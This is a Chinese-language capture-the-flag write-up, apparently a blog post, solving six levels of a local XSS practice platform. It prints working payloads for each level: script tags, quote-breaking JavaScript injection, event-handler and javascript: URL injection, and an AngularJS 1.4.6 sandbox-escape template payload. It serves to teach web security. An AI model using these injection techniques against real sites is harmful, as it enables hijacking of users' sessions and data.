XSS Test Platform

Level1

访问url:http://localhost:10010/Level1?username=xss

因为是xss,所以对传参进行测试,修改?username=1,进行访问

image-20230531154833692

会发现username参数传入什么,welcome之后就会显示什么,所以直接构造<script>标签payload:

<script>alert(/xss/)</script>

成功通关!

image-20230531171920750

Level2

访问url:http://localhost:10010/Level2?username=xss

继续对传参进行测试,修改?username=1,进行访问,依旧回显

image-20230531160914258

输入script标签

<script>alert(/xss/)</script>

发现被转码了,右键查看源码

image-20230531161407992

url中username之后的参数传入var username里,也就是说这行代码是动态改变的,可以看到username被escape函数编码了,比较难绕过。类似于SQL注入中的堆叠注入,闭合前面的单引号,注释后面的单引号,之后只要把我们的js代码传入里面,就可以在这个script标签中执行。构造payload:

';alert(1);'

拼接之后这行代码会变为:

var username = '';alert(1);'';

成功通关!

image-20230531161933682

Level3

访问url:http://localhost:10010/Level3?username=xss

输入第二关构造的payload:

';alert(1);'

发现'\转义了

image-20230531165056119

绕过姿势1

因为第一个单引号会被过滤,所以我们输入两个双引号,构造payload:

'';alert(1);'

成功通关!

image-20230531165342607

绕过姿势2

审计源码,我们可以发现,第三题并没有escape。在这里可以使用a标签+鼠标滑过事件,构造payload:

<a onmouseover="alert(1)">

当鼠标划过这个a标签时,触发alert

成功通关!

image-20230531170445118

绕过姿势3

使用img标签,构造payload:

<img src=1 onerror=alert(1)>

当src地址不正确时,触发onerror事件

成功通关!

image-20230531171753498

Level4

访问url:http://localhost:10010/level4

这是一个定时重定向页面,每过十秒就会重定向刷新一次

观察url,发现没有给出参数,所以右键查看源码

<script type="text/javascript">
 //time为10就是10秒重定向刷一次页面
        var time = 10;
        var jumpUrl;
  //自定义的参数
  //获取参数jumpUrl
  //getQueryVariable结果为false,就赋为location.href;为true,getQueryVariable并把jumpUrl传过去,并赋值为函数的返回值

        if(getQueryVariable('jumpUrl') == false){
            jumpUrl = location.href;
        }else{
            jumpUrl = getQueryVariable('jumpUrl');
        }
   //下面就是一些赋值和十秒倒计时
        setTimeout(jump,1000,time);
        function jump(time){
            if(time == 0){
                location.href = jumpUrl;
            }else{
                time = time - 1 ;
                document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
                setTimeout(jump,1000,time);
            }
        }
    //关键在这里
        function getQueryVariable(variable)
        {
    //URL中,从?开始的参数部分然后以&进行分割,分成数组
    //首先,想到的是,既然有&,并且上面提到了jumpUrl变量,那我们就得构造一个&jumpUrl变量
    //这个函数returnjumpUrl的值给到上面倒计时中的innerHTML
               var query = window.location.search.substring(1);
               var vars = query.split("&");
               for (var i=0;i<vars.length;i++) {
                       var pair = vars[i].split("=");
                       if(pair[0] == variable){return pair[1];}
               }
               return(false);
        }
</script>

注意jumpUrl就是我们要跳转的网页,因此我们要注入的点应该是jumpUrl

先一步步审计代码;getQueryVariable函数里面的query就是?后面的内容,比如:

http://localhost:10010/level4?helloworld,这样的话query就是helloworld。

vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。

然后遍历每个参数,将每个参数以=为分隔符再分隔形成数组。

这样pair[0]相当于参数名,pair[1]相当于值。接着进行判断,if(pair[0] == variable){return pair[1];}

因此我们直接构造好参数名,就是控制返回的内容。

通过这样的方式来实现注入,http://localhost:10010/level4??payload

伪链接javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。

代码中接收jumpUrl作为跳转url,所以构造payload:

http://localhost:10010/level4?jumpUrl=javascript:alert(1)

等待十秒利用js伪协议触发alert(1)

成功通关!

image-20230601095356825

Leval5

访问url:http://localhost:10010/level5

没有参数,只有一个输入框,尝试输入正常payload:

<script>alert(/xss/)</script>

结果显示不能用POST方法

image-20230601101834392

右键查看源码

<script type="text/javascript">
    //类比第四关中,getQueryVariable为false,不进行操作,我们需要执行js代码,这显然不是我们要的
    //如果想要为true,那就带上这个autosubmit参数
    //只是跟这个参数autosubmit参数值的关系不大,只是需要有这样一个参数,因为下面,都是在对另一个参数action操作
        if(getQueryVariable('autosubmit') !== false){
            var autoForm = document.getElementById('autoForm');
            //这里又一次出现了getQueryVariable函数,其实就是得存在action
            autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
            autoForm.submit();
        }else{

        }
        function getQueryVariable(variable)
        {
               var query = window.location.search.substring(1);
               var vars = query.split("&");
               for (var i=0;i<vars.length;i++) {
                       var pair = vars[i].split("=");
                       if(pair[0] == variable){return pair[1];}
               }
               return(false);
        }
</script>

源码中有条件限制

第一个限制为:

if(getQueryVariable('autosubmit') !== false){

突破第一个限制的方法是给autosubmit传个值,autosubmit=1

第二个限制为:

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

突破第二个限制的方法是getQueryVariable(‘action’)不能为false,然后构造action:

action=javascript:alert(1)

构造最终payload:

http://localhost:10010/level5?autosubmit=1&action=javascript:alert(1)

成功通关!

image-20230601102538319

Level6

访问url:http://localhost:10010/level6?username=xss

输入paylaod:

<script>alert(1)</script>

结果输入完全被当成了字符串

image-20230601141328124

本题考查的是二次渲染导致的XSS

构造payload进行验证:

?username={{3*3}}

页面输出了9,证实了是模板XSS

image-20230601141517959

查看一下这个环境用的是哪个模板,发现是AngularJS 1.4.6,可以参考如下网页:

AngularJS客户端模板注入(XSS)

看完之后会对模板注入XSS有所了解,只是因为我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:

AngularJS Sandbox Bypasses

读完文章之后可以得知的逃逸的payload为:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

因此我们可以构造payload为:

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

成功通关!

image-20230601142030295

最终成功获取flag:

image-20230601142133493

文章作者: Charseki
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 漏了个大洞
Web-Security XSS
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝